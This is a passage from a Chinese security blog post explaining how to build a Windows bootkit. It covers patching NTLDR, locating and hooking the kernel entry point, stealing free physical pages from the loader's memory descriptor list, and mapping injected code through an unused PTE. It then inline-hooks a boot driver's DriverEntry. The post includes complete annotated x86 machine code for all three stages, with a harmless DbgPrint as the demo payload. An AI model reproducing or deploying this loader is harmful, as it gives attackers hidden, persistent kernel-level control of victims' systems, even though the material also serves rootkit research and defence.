在我制作DEMO的过程中发现“0F 20 D8 0F 22 D8” 串会集中出现在文件头的部分和文件尾的部分,建议只HOOK文件尾的串。我使用"call RVA"共5个字节的指令来实现跳转。

PS:Osloader位置的确定可以直接搜索特征值"MZ", "PE"。
三.内核的加载与定位

当控制权顺着hook code,转移到这一步的时候,如上所言,我们必须确定内核是否加载。我第一个想到的办法就是硬编码内核一个地址,然后测试这个地址是否有效,这个办法是 可行的,因为同一个NTLDR总会将内核加载在同一个地址。但是这样的通用性不高,ring3下面的工作会增加。为了使DEMO具有较高通用性,我使用了 暴搜的方法,从可能的加载地址:VA0x80400000~0x81000000。为了不致引起page fault,首先必须从PDE搜索起,再确定PTE是否有效,然后测试MZ、PE标志,最后ImageSize的大小要大于0x150000(也就内核这 么大了),这是为了避免其它PE文件影响结果,像Osloader。

四.对内核做HOOK

这个时候整个内核就在我们眼前了,但是我们还不能直接动手,因为我们现在CODE所在的内存会在内核初始化的时候被清洗掉,所以我们还要 HOOK一次EntryPoint。为什么?这个道理就像我们站在了一座宝库门口,但是我们偏偏没有一把打开宝库的钥匙,而这把钥匙会出现在内核的 EntryPoint里。这把钥匙就是内核入口函数KiSystemStartup的参数──LoaderBlock。

这是一个类型名为LOADER_PARAMETER_BLOCK的指针。它的结构如下:

复制内容到剪贴板程序代码程序代码
typedef struct _LOADER_PARAMETER_BLOCK {

LIST_ENTRY LoadOrderListHead;

LIST_ENTRY MemoryDescriptorListHead;

LIST_ENTRY BootDriverListHead;

ULONG KernelStack;

ULONG Prcb;

ULONG Process;

ULONG Thread;

ULONG RegistryLength;

PVOID RegistryBase;

PCONFIGURATION_COMPONENT_DATA ConfigurationRoot;

PCHAR ArcBootDeviceName;

PCHAR ArcHalDeviceName;

PCHAR NtBootPathName;

PCHAR NtHalPathName;

PCHAR LoadOptions;

PNLS_DATA_BLOCK NlsData;

PARC_DISK_INFORMATION ArcDiskInformation;

PVOID OemFontFile;

struct _SETUP_LOADER_BLOCK *SetupLoaderBlock;

ULONG Spare1;

union {

I386_LOADER_BLOCK I386;

MIPS_LOADER_BLOCK Mips;

ALPHA_LOADER_BLOCK Alpha;

PPC_LOADER_BLOCK Ppc;

} u;

} LOADER_PARAMETER_BLOCK, *PLOADER_PARAMETER_BLOCK;

没错,在这里我们能找到很多我们想得到的数据,以便我们能成功hook内核。

五.在内存里搭个狗窝

当CPU执行到这里的时候,我们已经来到了内核入口点——宝库就在眼前。宝库虽好,可是却没有我们住的地方啊,所以我们要在宝库旁边建个 窝,这样才能让我们长期在宝库里XX。为了搭建我们的狗窝,我们有两样工作要做,一是,设法找到空闲的物理页用于映射;二是,找一个虚拟地址空间映射我们 找到的物理页。对于第一步,我想你已经猜到了,嗯,就是LoaderBlock中的MemoryDescriptorListHead。它指向的实际数据 结构如下:

复制内容到剪贴板程序代码程序代码
typedef struct _MEMORY_ALLOCATION_DESCRIPTOR {

LIST_ENTRY ListEntry;

TYPE_OF_MEMORY MemoryType;

ULONG BasePage;

ULONG PageCount;

} MEMORY_ALLOCATION_DESCRIPTOR, *PMEMORY_ALLOCATION_DESCRIPTOR;

其中 MemoryType为

typedef enum _TYPE_OF_MEMORY {

LoaderExceptionBlock = MemoryExceptionBlock, // 0

LoaderSystemBlock = MemorySystemBlock, // 1

LoaderFree = MemoryFree, // 2

LoaderBad = MemoryBad, // 3

LoaderLoadedProgram = MemoryLoadedProgram, // 4

LoaderFirmwareTemporary = MemoryFirmwareTemporary, // 5

LoaderFirmwarePermanent = MemoryFirmwarePermanent, // 6

LoaderOsloaderHeap, // 7

LoaderOsloaderStack, // 8

LoaderSystemCode, // 9

LoaderHalCode, // a

LoaderBootDriver, // b

LoaderConsoleInDriver, // c

LoaderConsoleOutDriver, // d

LoaderStartupDpcStack, // e

LoaderStartupKernelStack, // f

LoaderStartupPanicStack, // 10

LoaderStartupPcrPage, // 11

LoaderStartupPdrPage, // 12

LoaderRegistryData, // 13

LoaderMemoryData, // 14

LoaderNlsData, // 15

LoaderSpecialMemory, // 16

LoaderMaximum // 17

} TYPE_OF_MEMORY;

“借”物理内存的方法有很多种,我们可以遍历List,将合乎我们要求的DESCRIPTOR标记为LoaderSystemCode或者 LoaderBad等等。我用的方法则是在其它两个参数上做文章——BasePage和PageCount。它们分别代表了这个DESCRIPTOR起始 页号和包含的物理页数。我只要修改这两个参数,我就可以想要多少内存页就有多少内存页了——夸张了点!这样抹去的页也永远从内核中消失了(这里的这个方法 应该还可以用于其它XX)。

接下来我们要做的事就是在虚拟内存中映射我们自己,4GB的空间我们应该映射在哪里呢?我首先注意到的就是最后4MB的空间,这个空间是给 Hal用的,应该会有空闲空间吧,但实验表明这一块的区域会被重写,导致我们的地址被抹去,所以是不可用的。然后,我的做法是随便找了片内存,修改了 PDE用了个页做页表进行映射,结果是我失败了,当然也不排除这种方法的可能性,也许是我的点没选对。最后我用的方法是在内核虚拟地址所在的那个PDE的 后面一个PDE开始寻找虚拟地址空间,我找的PDE是有效PDE,不是无效的,然后再在页表中找无效PTE,将我要映射的物理地址的PTE写入这个无效 PTE。最后这种方法成功了,不仅没有抹去,连进入windows之后这片内存还完整的存在。

在win2k中,这种找地址的方法会遇到麻烦,这是由于win2k的内存管理不同于它的后辈,它使用4MB的LARGE_PAGE进行管理, 从内核地址空间开始一共连续映射512MB物理内存,所以用这种方法得到的虚拟地址最后会不存在,导致BSOD。其实win2k中对于虚拟地址的计算还要 简单,那就是:虚拟地址=0x80000000+物理地址。

这样经过这两步,我们就成功地打造了我们健在内核旁边我们的“狗窝”,我们就等着挖宝了。。。

PS:有关windows的x86体系的内存管理请看相关资料,推荐看webcrazy的系列文章。
六.把自己挂上去

现在有了我们自己的狗窝,下面就欠一扇从宝库到我们狗窝的大门了,没错,还是LoaderBlock。 LoadOrderListHead和BootDriverListHead,这两个参数所链接的代码都会在 ExpInitializeExecutive函数中初始化,并且LoadOrderListHead所链代码会先于 BootDriverListHead被调用。而BootDriverListHead则是在IO system被初始化时调用。鉴于内核的初始化程度,我选择了后者BootDriverListHead。BootDriverListHead实际上所 指向的是BOOT_DRIVER_LIST_ENTRY这么一个结构:

复制内容到剪贴板程序代码程序代码
typedef struct _BOOT_DRIVER_LIST_ENTRY {

LIST_ENTRY Link;

UNICODE_STRING FilePath;

UNICODE_STRING RegistryPath;

PLDR_DATA_TABLE_ENTRY LdrEntry;

} BOOT_DRIVER_LIST_ENTRY, *PBOOT_DRIVER_LIST_ENTRY;

其中的LdrEntry就是关键了,关于这个结构我只找到它的部分域,但是已经够用了:

typedef struct _LDR_DATA_TABLE_ENTRY {

LIST_ENTRY InLoadOrderLinks;

LIST_ENTRY InMemoryOrderLinks;

LIST_ENTRY InInitializationOrderLinks;

PVOID DllBase;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

+0x034 Flags : Uint4B

+0x038 LoadCount : Uint2B

+0x03a TlsIndex : Uint2B

+0x03c HashLinks : _LIST_ENTRY

+0x03c SectionPointer : Ptr32 Void

+0x040 CheckSum : Uint4B

+0x044 TimeDateStamp : Uint4B

+0x044 LoadedImports : Ptr32 Void

+0x048 EntryPointActivationContext : Ptr32 Void

+0x04c PatchInformation : Ptr32 Void

} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

我们通过LdrEntry就可以找到BootDriver的EntryPoint,对它做inline hook就可以了。这里要注意三点:1.只有Flags为某个值时,它才会被初始化(或者说这个BootDriver的DriverEntry函数才会被 调用); 2.由于加载的驱动会被搬移到内存高地址,所以要做inline hook; 3.这个时候驱动还没有relocate,所以某些间接寻址的代码会被修改,所以要找一个代码不会被修改的值。我使用了7个字节来call我的代码 (mov eax, xxxxxx; call eax;),所以要保证这7个字节不会修改。

我在win2k的
某个驱动中找到了这样的代码段:

复制内容到剪贴板程序代码程序代码
55 PUSH EBP

8BEC MOV EBP,ESP

83EC 10 SUB ESP,10

XP中:

8BFF MOV EDI,EDI

55 PUSH EBP

8BEC MOV EBP,ESP

只要inline hook这样的驱动就可以保证不会在relocate后,执行乱七八糟的代码了。

如此,一扇通向我们狗窝的金灿灿的大门就做好了,你就等着大摇大摆到宝库里往自己窝里搬东西好了。。。

七.源代码

说了这么多废话,也不知道您听明白没有,没有?!直接看src,这才是硬道理!

以下这段代码是直接从我的DEMO上取下来的,因为所有代码都是一句句像debug一样敲进去的,所以就没有那么好看,不要怪我啊!这段代码成功引 导了 win2k sp4, winxp sp2, win2003 sp1, wrk等内核,不支持PAE内核和VISTA,还有一些与内存有关的boot.ini的参数也不支持。至于DEMO,由于是直接改的M$的NTLDR,牵 涉到xx问题,就不公开发表了。

//============================================================================================================

//以下就是完整的源代码了,我加了少量注释,帮助理解:

复制内容到剪贴板程序代码程序代码
//———————————Module 1——————————————————————

// 修复返回地址,直接执行被hook的代码,这样比修复省n个字节

00484000: FF0424 INC DWORD PTR [ESP]

00484003: 0F20D8 MOV EAX,CR3

00484006: 0F22D8 MOV CR3,EAX

// 可能会被重复执行,避免重复hook内核

00484009: 803D FF404800 01 CMP BYTE PTR [4840FF],1

00484010: 75 01 JNZ SHORT 00484013

00484012: C3 RETN

// 在VA:0x80400000~0x81000000范围内暴搜内核,以确定内核已经加载及找到ImageBase

00484013: 53 PUSH EBX

00484014: 51 PUSH ECX

00484015: B8 00F03F80 MOV EAX,803FF000

0048401A: 05 00100000 ADD EAX,1000

0048401F: 3D 00000081 CMP EAX,81000000 // 搜索失败

00484024: 0F84 74000000 JE 0048409E

0048402A: 8BD8 MOV EBX,EAX

0048402C: C1EB 16 SHR EBX,16

0048402F: C1E3 02 SHL EBX,2

00484032: 81CB 000030C0 or EBX,C0300000

00484038: F703 01000000 TEST DWORD PTR [EBX],1

0048403E: 74 DA JE SHORT 0048401A

00484040: 8BD8 MOV EBX,EAX

00484042: C1EB 0A SHR EBX,A

00484045: 81C3 000000C0 ADD EBX,C0000000

0048404B: F703 01000000 TEST DWORD PTR [EBX],1

00484051: 74 C7 JE SHORT 0048401A

00484053: 66:8138 4D5A CMP WORD PTR [EAX],5A4D // 'MZ' flag

00484058: 75 C0 JNZ SHORT 0048401A

0048405A: 8B58 3C MOV EBX,[EAX+3C]

0048405D: 813C18 50450000 CMP DWORD PTR [EAX+EBX],4550 // 'PE' flag

00484064: 75 B4 JNZ SHORT 0048401A

00484066: 817C18 50 00001500 CMP DWORD PTR [EAX+EBX+50],150000 // ImageSize >= 0x150000 bytes

0048406E: 7C AA JL SHORT 0048401A

// 将内核的ImageBase写入0x4849FC内,并找到内核的EntryPoint做inline hook

00484070: A3 FC494800 MOV [4849FC],EAX

00484075: 034418 28 ADD EAX,[EAX+EBX+28]

00484079: 8B18 MOV EBX,[EAX]

0048407B: 8B48 04 MOV ECX,[EAX+4]

0048407E: 50 PUSH EAX

0048407F: B8 F0404800 MOV EAX,4840F0

00484084: 8918 MOV [EAX],EBX

00484086: 8948 04 MOV [EAX+4],ECX

00484089: 58 POP EAX

0048408A: C700 B8004148 MOV DWORD PTR [EAX],484100B8 // 写入 "mov eax, 0x484100"

00484090: C740 04 00FFD000 MOV DWORD PTR [EAX+4],D0FF00 // "call eax"

00484097: C605 FF404800 01 MOV BYTE PTR [4840FF],1

0048409E: 59 POP ECX

0048409F: 5B POP EBX

004840A0: C3 RETN

//—————————————–Module 2——————————————————-

// 修复返回地址和内核入口代码

00484100: 832C24 07 SUB DWORD PTR [ESP],7

00484104: B8 F0404800 MOV EAX,4840F0

00484109: 8B18 MOV EBX,[EAX]

0048410B: 8B48 04 MOV ECX,[EAX+4]

0048410E: 8B0424 MOV EAX,[ESP]

00484111: 8918 MOV [EAX],EBX

00484113: 8948 04 MOV [EAX+4],ECX

// 暴搜MemoryDescriptor,寻找合适的物理内存页存放代码

00484116: 55 PUSH EBP

00484117: 8BEC MOV EBP,ESP

00484119: 83C5 0C ADD EBP,C

0048411C: 8B6D 00 MOV EBP,[EBP]

0048411F: 8BDD MOV EBX,EBP

00484121: 83C3 08 ADD EBX,8

00484124: 8B1B MOV EBX,[EBX]

00484126: 837B 08 02 CMP DWORD PTR [EBX+8],2 // MemoryType == MemoryFree

0048412A: 75 F8 JNZ SHORT 00484124

0048412C: 817B 0C 00100000 // no meaning, just for debugging.

00484133: 837B 10 10 CMP DWORD PTR [EBX+10],10

00484137: 7C EB JL SHORT 00484124

00484139: 8B53 0C MOV EDX,[EBX+C]

0048413C: 8343 0C 05 ADD DWORD PTR [EBX+C],5 // "借"5个物理页(没的还的)

00484140: 836B 10 05 SUB DWORD PTR [EBX+10],5

// 开始暴搜页表,寻找合适的虚拟地址映射注入的代码

00484144: A1 FC494800 MOV EAX,[4849FC]

00484149: C1E8 16 SHR EAX,16

0048414C: C1E0 02 SHL EAX,2

0048414F: 05 000030C0 ADD EAX,C0300000

00484154: 83C0 04 ADD EAX,4 // 在ImageBase后所在PDE的下一个PDE开始搜索

00484157: 83E8 04 SUB EAX,4 // 主要是避开使用NTLDR的虚拟地址

0048415A: 83C0 04 ADD EAX,4

0048415D: 8B18 MOV EBX,[EAX]

0048415F: 83E3 01 AND EBX,1

00484162: 74 F6 JE SHORT 0048415A

00484164: 50 PUSH EAX

00484165: C1E0 0A SHL EAX,A

00484168: 33C9 XOR ECX,ECX

0048416A: 83C1 04 ADD ECX,4

0048416D: 8B5C08 FC MOV EBX,[EAX+ECX-4]

00484171: 83E3 01 AND EBX,1

00484174: 74 0B JE SHORT 00484181

00484176: 81F9 00100000 CMP ECX,1000

0048417C: 75 EC JNZ SHORT 0048416A

0048417E: 58 POP EAX

0048417F: EB D9 JMP SHORT 0048415A

00484181: 5B POP EBX

// 在找到的PTE地址里写入要映射的物理内存页号等信息

00484182: C1E2 0C SHL EDX,C

00484185: 81CA 63010000 or EDX,163

0048418B: 03C1 ADD EAX,ECX

0048418D: 83E8 04 SUB EAX,4

00484190: 8910 MOV [EAX],EDX

00484192: 0F20DB MOV EBX,CR3

00484195: 0F22DB MOV CR3,EBX

00484198: C1E0 0A SHL EAX,A

0048419B: 8BD0 MOV EDX,EAX

// 判断内核的版本是不是NT 5.0(win2000)

0048419D: A1 FC494800 MOV EAX,[4849FC]

004841A2: 8B58 3C MOV EBX,[EAX+3C]

004841A5: 807C18 46 00 CMP BYTE PTR [EAX+EBX+46],0

004841AA: 75 07 JNZ SHORT 004841B3

004841AC: 68 00200000 PUSH 2000

004841B1: EB 05 JMP SHORT 004841B8

004841B3: 68 01200000 PUSH 2001

// 在BootDriver中找一个合适的驱动做inline hook

004841B8: 8BC5 MOV EAX,EBP

004841BA: 83C0 10 ADD EAX,10

004841BD: 8B00 MOV EAX,[EAX]

004841BF: 8B48 18 MOV ECX,[EAX+18]

004841C2: 8B09 MOV ECX,[ECX]

004841C4: 8179 34 00400000 CMP DWORD PTR [ECX+34],4000 // 观察值,flag
为0x4000,该驱动的DriverEntry才会被调用

004841CB: 75 F0 JNZ SHORT 004841BD

004841CD: 8B49 1C MOV ECX,[ECX+1C]

004841D0: 8B19 MOV EBX,[ECX]

004841D2: 813C24 00200000 CMP DWORD PTR [ESP],2000

004841D9: 75 10 JNZ SHORT 004841EB

004841DB: 81FB 558BEC83 CMP EBX,83EC8B55 // 特征值 "558BEC83EC"

004841E1: 75 DA JNZ SHORT 004841BD

004841E3: 8079 04 EC CMP BYTE PTR [ECX+4],EC

004841E7: 75 D4 JNZ SHORT 004841BD

004841E9: EB 0E JMP SHORT 004841F9

004841EB: 81FB 8BFF558B CMP EBX,8B55FF8B // 特征值 "8BFF558BEC"

004841F1: 75 CA JNZ SHORT 004841BD

004841F3: 8079 04 EC CMP BYTE PTR [ECX+4],EC // 两处特征值可以保证inline hook的代码

004841F7: 75 C4 JNZ SHORT 004841BD // 不会被Relocate。

004841F9: 8B01 MOV EAX,[ECX]

004841FB: 8982 F00F0000 MOV [EDX+FF0],EAX

00484201: 8B41 04 MOV EAX,[ECX+4]

00484204: 8982 F40F0000 MOV [EDX+FF4],EAX

0048420A: C601 B8 MOV BYTE PTR [ECX],B8 // hook DriverEntry

0048420D: 52 PUSH EDX // 写入 "mov eax, xxxxxxx; call eax"

0048420E: 817C24 04 00200000 CMP DWORD PTR [ESP+4],2000

00484216: 75 1A JNZ SHORT 00484232

00484218: C1EA 0C SHR EDX,C // 重新计算win2k中,注入代码的虚拟地址

0048421B: C1E2 02 SHL EDX,2

0048421E: 81C2 000000C0 ADD EDX,C0000000

00484224: 8B12 MOV EDX,[EDX]

00484226: 81E2 00F0FFFF AND EDX,FFFFF000

0048422C: 81C2 00000080 ADD EDX,80000000

00484232: 8951 01 MOV [ECX+1],EDX

00484235: 66:C741 05 FFD0 MOV WORD PTR [ECX+5],D0FF

0048423B: 5A POP EDX

0048423C: 58 POP EAX

// 将要注入的代码复制到目标地址里

0048423D: B8 00454800 MOV EAX,484500

00484242: 33C9 XOR ECX,ECX

00484244: 8B1C08 MOV EBX,[EAX+ECX]

00484247: 891C11 MOV [ECX+EDX],EBX

0048424A: 83C1 04 ADD ECX,4

0048424D: 81F9 00050000 CMP ECX,500

00484253: 75 EF JNZ SHORT 00484244

00484255: 5D POP EBP

00484256: C3 RETN

//——————————————Module 3———————————————–

// 为注入的代码,只调用了DbgPrint打印了一句话

00484500: 50 PUSH EAX

00484501: E8 00000000 CALL 00484506

00484506: 58 POP EAX

00484507: 83E8 06 SUB EAX,6

0048450A: 53 PUSH EBX

0048450B: 836C24 08 07 SUB DWORD PTR [ESP+8],7

00484510: 8B5C24 08 MOV EBX,[ESP+8]

00484514: 51 PUSH ECX

00484515: 52 PUSH EDX

00484516: 8B88 F00F0000 MOV ECX,[EAX+FF0]

0048451C: 8B90 F40F0000 MOV EDX,[EAX+FF4]

00484522: 890B MOV [EBX],ECX

00484524: 8953 04 MOV [EBX+4],EDX

00484527: 8D98 00040000 LEA EBX,[EAX+400]

0048452D: 53 PUSH EBX

0048452E: 68 08000000 PUSH 8

00484533: 8D98 90010000 LEA EBX,[EAX+190]

00484539: 53 PUSH EBX

0048453A: FFB0 FC040000 PUSH DWORD PTR [EAX+4FC]

00484540: E8 BB010000 CALL 00484700

00484545: FFD0 CALL NEAR EAX

00484547: 83C4 04 ADD ESP,4

0048454A: 5A POP EDX

0048454B: 59 POP ECX

0048454C: 5B POP EBX

0048454D: 58 POP EAX

0048454E: C3 RETN

// 根据目标函数字符串,在内核的导出表中寻找查找内核函数,并返回内核函数的虚拟地址

00484700: 55 PUSH EBP

00484701: 8BEC MOV EBP,ESP

00484703: 8B45 08 MOV EAX,[EBP+8]

00484706: 8B58 3C MOV EBX,[EAX+3C]

00484709: 03C3 ADD EAX,EBX

0048470B: 83C0 78 ADD EAX,78

0048470E: 8B18 MOV EBX,[EAX]

00484710: 035D 08 ADD EBX,[EBP+8]

00484713: 8B43 20 MOV EAX,[EBX+20]

00484716: 0345 08 ADD EAX,[EBP+8]

00484719: 9C PUSHFD

0048471A: FC CLD

0048471B: 56 PUSH ESI

0048471C: 57 PUSH EDI

0048471D: 33D2 XOR EDX,EDX

0048471F: 8B75 0C MOV ESI,[EBP+C]

00484722: 8B4D 10 MOV ECX,[EBP+10]

00484725: 8B3C90 MOV EDI,[EAX+EDX*4]

00484728: 037D 08 ADD EDI,[EBP+8]

0048472B: F3 REPE CMPSB

0048472C: A6 CMPSB

0048472D: 74 03 JE SHORT 00484732

0048472F: 42 INC EDX

00484730: EB ED JMP SHORT 0048471F

00484732: 5F POP EDI

00484733: 5E POP ESI

00484734: 9D POPFD

00484735: 8B43 24 MOV EAX,[EBX+24]

00484738: 0345 08 ADD EAX,[EBP+8]

0048473B: 66:8B0C50 MOV CX,[EAX+EDX*2]

0048473F: 8B43 1C MOV EAX,[EBX+1C]

00484742: 0345 08 ADD EAX,[EBP+8]

00484745: 0FB7C9 MOVZX ECX,CX

00484748: 8B0488 MOV EAX,[EAX+ECX*4]

0048474B: 0345 08 ADD EAX,[EBP+8]

0048474E: 5D POP EBP

0048474F: C2 0C00 RETN C

//=========================================END===========================================================

八.尾声:

关于BOOTKIT有很多种实现,虽然此篇也是BOOTKIT,但使用的技术却很常规,本文也意在讲述后半程技术(如何映射内存和 HOOK内核),以求更为巧妙的技术出现。比如本人就想尝试HOOK NTDETECT.COM和将某类型的网卡做成PCI BOOT CARD,限于精力也只是形成了想法,欢迎有兴趣的朋友一起交流。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/508